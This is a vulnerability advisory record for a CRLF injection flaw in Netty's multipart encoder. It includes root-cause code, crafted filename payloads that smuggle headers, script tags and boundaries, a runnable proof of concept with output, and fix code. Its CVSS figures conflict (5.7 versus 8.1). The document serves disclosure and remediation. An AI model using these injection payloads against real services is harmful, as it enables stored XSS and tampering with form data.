{"id":"CVE-2026-59921","aliases":["GHSA-gcjf-9mgh-3p7g"],"title":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","summary":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","severity":"medium","cvss":5.7,"cwe":["CWE-93"],"vendor":"netty","product":"io.netty:netty-codec-http","ecosystem":"maven","affected":["io.netty:netty-codec-http >= 4.2.0.Final, < 4.2.16.Final","io.netty:netty-codec-http < 4.1.136.Final"],"patched":["io.netty:netty-codec-http 4.2.16.Final","io.netty:netty-codec-http 4.1.136.Final"],"published":"2026-07-22","updated":"2026-07-22","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-gcjf-9mgh-3p7g","references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"},{"url":"https://github.com/advisories/GHSA-gcjf-9mgh-3p7g"}],"tags":["ghsa","maven"],"ingestedAt":"2026-07-22T22:06:57.566Z","epss":0.00465,"epssPercentile":0.3756,"slug":"CVE-2026-59921","body":"## Overview\n\n# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n    + HttpHeaderValues.ATTACHMENT + \"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n    this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n    // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n<script>alert(document.cookie)</script>\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n    \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html                    <-- INJECTED: overrides image/jpeg\n\n<script>alert(document.cookie)</script>    <-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg                   <-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n        testFilenameInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    static void testFilenameInjection() throws Exception {\n        System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n        System.out.println(\"-------------------------------------------------------\");\n\n        // Create a temporary file for upload\n        File tempFile = File.createTempFile(\"test\", \".txt\");\n        tempFile.deleteOnExit();\n        try (FileWriter fw = new FileWriter(tempFile)) {\n            fw.write(\"test content\");\n        }\n\n        // Malicious filename with CRLF to inject Content-Type header\n        String maliciousFilename =\n            \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n            \"<script>alert(1)</script>\\r\\n--\";\n\n        HttpRequest request = new DefaultHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n                new DefaultHttpDataFactory(false), request, true,\n                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n        DiskFileUpload fileUpload = new DiskFileUpload(\n                \"file\", maliciousFilename, \"application/octet-stream\",\n                \"binary\", StandardCharsets.UTF_8, tempFile.length());\n        fileUpload.setContent(tempFile);\n\n        encoder.addBodyHttpData(fileUpload);\n        encoder.finalizeRequest();\n\n        // Read the encoded multipart body\n        StringBuilder body = new StringBuilder();\n        while (!encoder.isEndOfInput()) {\n            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n            if (chunk != null) {\n                body.append(chunk.content().toString(StandardCharsets.UTF_8));\n                chunk.release();\n            }\n        }\n        encoder.cleanFiles();\n\n        String encoded = body.toString();\n        System.out.println(\"Malicious filename: \" +\n            maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n        System.out.println();\n        System.out.println(\"Encoded multipart body:\");\n        System.out.println(\"---\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"---\");\n\n        boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n        boolean hasInjectedScript = encoded.contains(\"<script>\");\n        System.out.println();\n        System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n        System.out.println(\"Injected script tag: \" + hasInjectedScript);\n        System.out.println(\"VULNERABLE: \" +\n            ((hasInjectedHeader || hasInjectedScript) ?\n                \"YES - MIME header injection!\" : \"NO\"));\n\n        tempFile.delete();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n  -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n<script>alert(1)</script>\\r\\n--\n\nEncoded multipart body:\n---\n  --88aaade41dbb9f9f\\r\n  content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n  Content-Type: text/html\\r                          <-- INJECTED\n  X-Injected: true\\r                                 <-- INJECTED\n  \\r\n  <script>alert(1)</script>\\r                        <-- INJECTED XSS\n  --\"\\r\n  content-length: 12\\r\n  content-type: application/octet-stream\\r\n  content-transfer-encoding: binary\\r\n  \\r\n  test content\\r\n  --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n    ObjectUtil.checkNotNull(filename, \"filename\");\n    for (int i = 0; i < filename.length(); i++) {\n        char c = filename.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"filename contains prohibited CRLF character at index \" + i);\n        }\n    }\n    this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n    for (int i = 0; i < value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\r' || c == '\\n' || c == '\"') {\n            throw new ErrorDataEncoderException(\n                \"Multipart parameter contains prohibited character at index \" + i);\n        }\n    }\n    return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8''encoded%20filename\nString encodedFilename = \"UTF-8''\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n\n## Affected packages\n\n- `io.netty:netty-codec-http >= 4.2.0.Final, < 4.2.16.Final`\n- `io.netty:netty-codec-http < 4.1.136.Final`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `io.netty:netty-codec-http 4.2.16.Final`\n- `io.netty:netty-codec-http 4.1.136.Final`","depth":"sunlit","depthScore":31,"depthScoreParts":{"impact":31.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}